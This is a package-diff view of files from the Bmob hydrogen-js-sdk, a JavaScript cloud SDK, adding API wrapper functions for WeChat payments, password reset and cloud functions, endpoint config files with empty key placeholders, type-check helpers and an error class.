51
|
+
}
|
52
|
+
let route = Bmob._config.parameters.SENDWEAPPMESSAGE;
|
53
|
+
return request(route, "post", data);
|
54
|
+
};
|
55
|
+
|
56
|
+
/**
|
57
|
+
* 小程序图片上传
|
58
|
+
* @return {Object}
|
59
|
+
*/
|
60
|
+
|
61
|
+
/**
|
62
|
+
* 微信退款
|
63
|
+
* @return {Object}
|
64
|
+
*/
|
65
|
+
const refund = (data) => {
|
66
|
+
if (!isObject(data)) {
|
67
|
+
// 参数异常
|
68
|
+
throw new Error(415);
|
69
|
+
}
|
70
|
+
let route = Bmob._config.parameters.REFUND;
|
71
|
+
return request(route, "post", data);
|
72
|
+
};
|
73
|
+
|
74
|
+
/**
|
75
|
+
* 微信主人通知(主人信息推送)
|
76
|
+
* @return {Object}
|
77
|
+
*/
|
78
|
+
const notifyMsg = (data) => {
|
79
|
+
if (!isObject(data)) {
|
80
|
+
// 参数异常
|
81
|
+
throw new Error(415);
|
82
|
+
}
|
83
|
+
let route = Bmob._config.parameters.NOTIFYMSG;
|
84
|
+
return request(route, "post", data);
|
85
|
+
};
|
86
|
+
|
87
|
+
// --------------RESTful SDK-------------------
|
88
|
+
|
89
|
+
/**
|
90
|
+
* 密码重置
|
91
|
+
* @return {Object}
|
92
|
+
*/
|
93
|
+
|
94
|
+
// Email 重置
|
95
|
+
const requestPasswordReset = (data) => {
|
96
|
+
if (!isObject(data)) {
|
97
|
+
// 参数异常
|
98
|
+
throw new Error(415);
|
99
|
+
}
|
100
|
+
let route = Bmob._config.parameters.REQUESTPASSWORDRESET;
|
101
|
+
return request(route, "post", data);
|
102
|
+
};
|
103
|
+
|
104
|
+
// 短信验证码重置
|
105
|
+
const resetPasswordBySmsCode = (smsCode, data) => {
|
106
|
+
if (!isString(smsCode)) {
|
107
|
+
// 参数异常
|
108
|
+
throw new Error(415);
|
109
|
+
}
|
110
|
+
let route = `${Bmob._config.parameters.RESETPASSWORDBYSMSCODE}/${smsCode}`;
|
111
|
+
return request(route, "put", data);
|
112
|
+
};
|
113
|
+
|
114
|
+
// 提供旧密码方式安全修改用户密码
|
115
|
+
const updateUserPassword = (objectId, data) => {
|
116
|
+
if (!isObject(data) || !isString(objectId)) {
|
117
|
+
// 参数异常
|
118
|
+
throw new Error(415);
|
119
|
+
}
|
120
|
+
let route = `${Bmob._config.parameters.UPDATEUSERPASSWORD}/${objectId}`;
|
121
|
+
return request(route, "put", data);
|
122
|
+
};
|
123
|
+
|
124
|
+
// 检测小程序文本是否违法
|
125
|
+
const checkMsg = (content) => {
|
126
|
+
if (!isString(content)) {
|
127
|
+
// 参数异常
|
128
|
+
throw new Error(415);
|
129
|
+
}
|
130
|
+
let route = `${Bmob._config.parameters.CHECK_MSG}`;
|
131
|
+
const data = { content: content };
|
132
|
+
return request(route, "post", data);
|
133
|
+
};
|
134
|
+
|
135
|
+
/**
|
136
|
+
* 获取服务器时间
|
137
|
+
* @return {Object}
|
138
|
+
*/
|
139
|
+
|
140
|
+
const timestamp = () => {
|
141
|
+
let route = Bmob._config.parameters.TIMESTAMP;
|
142
|
+
return request(route, "get");
|
143
|
+
};
|
144
|
+
|
145
|
+
/**
|
146
|
+
* 推送消息
|
147
|
+
* @return {Object}
|
148
|
+
*/
|
149
|
+
const push = (data) => {
|
150
|
+
if (!isObject(data)) {
|
151
|
+
// 参数异常
|
152
|
+
throw new Error(415);
|
153
|
+
}
|
154
|
+
let route = Bmob._config.parameters.PUSH;
|
155
|
+
return request(route, "post", data);
|
156
|
+
};
|
157
|
+
|
158
|
+
// ---------------云函数------------------------
|
159
|
+
/**
|
160
|
+
* 云函数
|
161
|
+
* @return {Object}
|
162
|
+
*/
|
163
|
+
const functions = (funName, data) => {
|
164
|
+
// 如果运行的云函数不需要传入参数,注意,"{}"是不能缺的
|
165
|
+
if (!data) {
|
166
|
+
data = {};
|
167
|
+
}
|
168
|
+
if (!isString(funName)) {
|
169
|
+
// 参数异常
|
170
|
+
throw new Error(415);
|
171
|
+
}
|
172
|
+
const route = `${Bmob._config.parameters.FUNCTIONS}/${funName}`;
|
173
|
+
return new Promise((resolve, reject) => {
|
174
|
+
request(route, "post", data)
|
175
|
+
.then(({ result }) => {
|
176
|
+
try {
|
177
|
+
resolve(JSON.parse(result));
|
178
|
+
} catch (error) {
|
179
|
+
resolve(result);
|
180
|
+
}
|
181
|
+
})
|
182
|
+
.catch((err) => {
|
183
|
+
reject(err);
|
184
|
+
});
|
185
|
+
});
|
186
|
+
};
|
187
|
+
|
188
|
+
const geoPoint = ({ latitude, longitude }) => {
|
189
|
+
const validate = (latitude, longitude) => {
|
190
|
+
if (latitude < -90.0) {
|
191
|
+
throw new Error(419);
|
192
|
+
}
|
193
|
+
if (latitude > 90.0) {
|
194
|
+
throw new Error(419);
|
195
|
+
}
|
196
|
+
if (longitude < -180.0) {
|
197
|
+
throw new Error(419);
|
198
|
+
}
|
199
|
+
if (longitude > 180.0) {
|
200
|
+
throw new Error(419);
|
201
|
+
}
|
202
|
+
return { latitude, longitude };
|
203
|
+
};
|
204
|
+
validate(latitude, longitude);
|
205
|
+
return {
|
206
|
+
__type: "GeoPoint",
|
207
|
+
latitude: latitude,
|
208
|
+
longitude: longitude,
|
209
|
+
};
|
210
|
+
};
|
211
|
+
|
212
|
+
module.exports = {
|
213
|
+
generateCode,
|
214
|
+
getAccessToken,
|
215
|
+
sendWeAppMessage,
|
216
|
+
refund,
|
217
|
+
notifyMsg,
|
218
|
+
functions,
|
219
|
+
timestamp,
|
220
|
+
requestPasswordReset,
|
221
|
+
resetPasswordBySmsCode,
|
222
|
+
updateUserPassword,
|
223
|
+
geoPoint,
|
224
|
+
checkMsg,
|
225
|
+
mediaCheckAsync,
|
226
|
+
push,
|
227
|
+
};
|
@@ -0,0 +1,62 @@
|
|
1
|
+
/*
|
2
|
+
* @Author: your name
|
3
|
+
* @Date: 2019-03-27 10:02:03
|
4
|
+
* @LastEditTime: 2022-06-24 15:08:38
|
5
|
+
* @LastEditors: magic
|
6
|
+
* @Description: In User Settings Edit
|
7
|
+
* @FilePath: /hydrogen-js-sdk/src/lib/config.dev.js
|
8
|
+
*/
|
9
|
+
// const ROOT = require('../../package.json')
|
10
|
+
const HOST = "https://api.bmobcloud.com";
|
11
|
+
// const HOST = 'http://127.0.0.1:8080'
|
12
|
+
// const HOST = "https://apitest.bmob.cn";
|
13
|
+
// const HOST = 'http://apis.feipin-ge.com'
|
14
|
+
const APPLICATION_ID = "";
|
15
|
+
const APPLICATION_KEY = "";
|
16
|
+
// const VERSION = `v${ROOT.version}`
|
17
|
+
// 注意小程序开发时,这个地方一定记得写死
|
18
|
+
const VERSION = 1;
|
19
|
+
// 1.h5 2.小程序 3.快应用
|
20
|
+
const TYPE = 1;
|
21
|
+
|
22
|
+
const PARAMETERS = {
|
23
|
+
GENERATECODE: "/1/wechatApp/qr/generatecode", // 生成二维码
|
24
|
+
GETACCESSTOKEN: "/1/wechatApp/getAccessToken", // 获取access_token
|
25
|
+
SENDWEAPPMESSAGE: "/1/wechatApp/SendWeAppMessage", // 小程序模版消息
|
26
|
+
NOTIFYMSG: "/1/wechatApp/notifyMsg", // 微信主人通知
|
27
|
+
REFUND: "/1/pay/refund", // 微信退款
|
28
|
+
REQUESTSMSCODE: "/1/requestSmsCode", // 请求短信验证码
|
29
|
+
VERIFYSMSCODE: "/1/verifySmsCode", // 验证短信验证码
|
30
|
+
FUNCTIONS: "/1/functions", // 云函数
|
31
|
+
REQUESTPASSWORDRESET: "/1/requestPasswordReset", // 重置密码(email)
|
32
|
+
RESETPASSWORDBYSMSCODE: "/1/resetPasswordBySmsCode", // 重置密码(短信)
|
33
|
+
UPDATEUSERPASSWORD: "/1/updateUserPassword", // 重置密码(登录状态下旧密码换新密码)
|
34
|
+
PUSH: "/1/push", // APP推送
|
35
|
+
FILES: "/2/files", // 单个文件上传/删除
|
36
|
+
FILESCHECK: "/1/wechatApp/checkImg", // 单个文件上传/删除
|
37
|
+
DELFILES: "/2/cdnBatchDelete", // 批量删除
|
38
|
+
TIMESTAMP: "/1/timestamp", // 获取服务器时间
|
39
|
+
LOGIN: "/1/login", // 登陆
|
40
|
+
REGISTER: "/1/users", // 注册
|
41
|
+
REQUEST_EMAIL_VERIFY: "/1/requestEmailVerify", // 注册
|
42
|
+
USERS: "/1/users", // 查询用户
|
43
|
+
USERSV1: "/1/usersv1", // 查询用户
|
44
|
+
PAY: "/1/pay", // 支付
|
45
|
+
WECHAT_APP: "/1/wechatAppv1/", // 获取openid
|
46
|
+
BATCH: "/1/batch", // 获取openid
|
47
|
+
CHECK_MSG: "/1/wechatApp/checkMsg", // 检测文本内容
|
48
|
+
DECRYPTION: "/1/wechatApp/decryptionv1", // 检测文本内容
|
49
|
+
MEDIACHECKASYNC: "/1/wechatApp/asyncCheckWechatMedia", // 检测文本内容
|
50
|
+
QUERY: "/1/classes", // 查询数据
|
51
|
+
};
|
52
|
+
|
53
|
+
module.exports = {
|
54
|
+
host: HOST,
|
55
|
+
applicationId: APPLICATION_ID,
|
56
|
+
applicationKey: APPLICATION_KEY,
|
57
|
+
parameters: PARAMETERS,
|
58
|
+
version: VERSION,
|
59
|
+
serverVersion: 10,
|
60
|
+
deBug: false,
|
61
|
+
type: TYPE,
|
62
|
+
};
|
@@ -0,0 +1,69 @@
|
|
1
|
+
/*
|
2
|
+
* @Author: your name
|
3
|
+
* @Date: 2018-07-17 10:37:55
|
4
|
+
* @LastEditTime: 2022-08-18 10:49:04
|
5
|
+
* @LastEditors: magic
|
6
|
+
* @Description: In User Settings Edit
|
7
|
+
* @FilePath: /hydrogen-js-sdk/src/lib/config.js
|
8
|
+
*/
|
9
|
+
let ROOT;
|
10
|
+
let VERSION;
|
11
|
+
try {
|
12
|
+
ROOT = require("../../package.json");
|
13
|
+
// 这行在小程序引入app.js报错
|
14
|
+
VERSION = `v${ROOT.version}`;
|
15
|
+
} catch (e) {
|
16
|
+
// 这行在小程序引入app.js报错
|
17
|
+
VERSION = `v1.0.0`;
|
18
|
+
}
|
19
|
+
|
20
|
+
const HOST = "https://api.bmobcloud.com";
|
21
|
+
|
22
|
+
const SECRET_KEY = "";
|
23
|
+
const SECURITY_CODE = "";
|
24
|
+
const APPLICATION_MASTER_KEY = "";
|
25
|
+
|
26
|
+
// 1.h5 2.小程序 3.快应用 4.nodejs
|
27
|
+
const TYPE = 3;
|
28
|
+
|
29
|
+
const PARAMETERS = {
|
30
|
+
GENERATECODE: "/1/wechatApp/qr/generatecode", // 生成二维码
|
31
|
+
GETACCESSTOKEN: "/1/wechatApp/getAccessToken", // 获取access_token
|
32
|
+
SENDWEAPPMESSAGE: "/1/wechatApp/SendWeAppMessage", // 小程序模版消息
|
33
|
+
NOTIFYMSG: "/1/wechatApp/notifyMsg", // 微信主人通知
|
34
|
+
REFUND: "/1/pay/refund", // 微信退款
|
35
|
+
REQUESTSMSCODE: "/1/requestSmsCode", // 请求短信验证码
|
36
|
+
VERIFYSMSCODE: "/1/verifySmsCode", // 验证短信验证码
|
37
|
+
FUNCTIONS: "/1/functions", // 云函数
|
38
|
+
REQUESTPASSWORDRESET: "/1/requestPasswordReset", // 重置密码(email)
|
39
|
+
RESETPASSWORDBYSMSCODE: "/1/resetPasswordBySmsCode", // 重置密码(短信)
|
40
|
+
UPDATEUSERPASSWORD: "/1/updateUserPassword", // 重置密码(登录状态下旧密码换新密码)
|
41
|
+
PUSH: "/1/push", // APP推送
|
42
|
+
FILES: "/2/files", // 单个文件上传/删除
|
43
|
+
FILESCHECK: "/1/wechatApp/checkImg", // 单个文件上传/删除
|
44
|
+
DELFILES: "/2/cdnBatchDelete", // 批量删除
|
45
|
+
TIMESTAMP: "/1/timestamp", // 获取服务器时间
|
46
|
+
LOGIN: "/1/login", // 登陆
|
47
|
+
REGISTER: "/1/users", // 注册
|
48
|
+
REQUEST_EMAIL_VERIFY: "/1/requestEmailVerify", // 注册
|
49
|
+
USERS: "/1/users", // 查询用户
|
50
|
+
USERSV1: "/1/usersv1", // 查询用户
|
51
|
+
PAY: "/1/pay", // 支付
|
52
|
+
WECHAT_APP: "/1/wechatAppv1/", // 获取openid
|
53
|
+
BATCH: "/1/batch",
|
54
|
+
CHECK_MSG: "/1/wechatApp/checkMsg", // 检测文本内容
|
55
|
+
DECRYPTION: "/1/wechatApp/decryptionv1", // 检测文本内容
|
56
|
+
MEDIACHECKASYNC: "/1/wechatApp/asyncCheckWechatMedia", // 检测文本内容
|
57
|
+
QUERY: "/1/classes", // 查询数据
|
58
|
+
};
|
59
|
+
module.exports = {
|
60
|
+
host: HOST,
|
61
|
+
secretKey: SECRET_KEY,
|
62
|
+
securityCode: SECURITY_CODE,
|
63
|
+
applicationMasterKey: APPLICATION_MASTER_KEY,
|
64
|
+
parameters: PARAMETERS,
|
65
|
+
version: VERSION,
|
66
|
+
serverVersion: 10,
|
67
|
+
deBug: false,
|
68
|
+
type: TYPE,
|
69
|
+
};
|
@@ -0,0 +1,17 @@
|
|
1
|
+
const isObject = targe => Object.prototype.toString.call(targe) === '[object Object]'
|
2
|
+
const isNumber = targe => Object.prototype.toString.call(targe) === '[object Number]'
|
3
|
+
const isString = targe => Object.prototype.toString.call(targe) === '[object String]'
|
4
|
+
const isUndefined = targe => Object.prototype.toString.call(targe) === '[object Undefined]'
|
5
|
+
const isBoolean = targe => Object.prototype.toString.call(targe) === '[object Boolean]'
|
6
|
+
const isArray = targe => Object.prototype.toString.call(targe) === '[object Array]'
|
7
|
+
const isFunction = targe => Object.prototype.toString.call(targe) === '[object Function]'
|
8
|
+
|
9
|
+
module.exports = {
|
10
|
+
isObject,
|
11
|
+
isNumber,
|
12
|
+
isString,
|
13
|
+
isUndefined,
|
14
|
+
isBoolean,
|
15
|
+
isArray,
|
16
|
+
isFunction
|
17
|
+
}
|
package/src/lib/error.js
ADDED
@@ -0,0 +1,32 @@
|
|
1
|
+
class error {
|
2
|
+
constructor (code, msg) {
|
3
|
+
let error = new Error()
|
4
|
+
error.code = code
|
5
|
+
error.message = msg ? `Bmob.Error:{code:${code}, message:${msg}}` : `Bmob.Error:{code:${code}, message:${this.errorMsg(code)}}`
|
6
|
+
|
7
|
+
return error
|
8
|
+
}
|
9
|
+
errorMsg (code) {
|
10
|
+
switch (code) {
|
11
|
+
case 415:
|
12
|
+
// 参数类型不正确
|
13
|
+
return 'incorrect parameter type.'
|
14
|
+
case 416:
|
15
|
+
// 参数为空
|
16
|
+
return 'Parameter is null.'
|
17
|
+
case 417:
|
18
|
+
// 内容为空
|
19
|
+
return 'There is no upload content.'
|
20
|
+
case 418:
|
21
|
+
// 内容为空
|
22
|
+
return 'Log in failure.'
|
23
|
+
case 419:
|
24
|
+
// 内容为空
|
25
|
+
return 'Bmob.GeoPoint location error.'
|
26
|
+
default:
|
27
|
+
return 'unknown error'
|
28
|
+
}
|
29
|
+
}
|
30
|
+
}
|
31
|
+
|
32
|
+
module.exports = error
|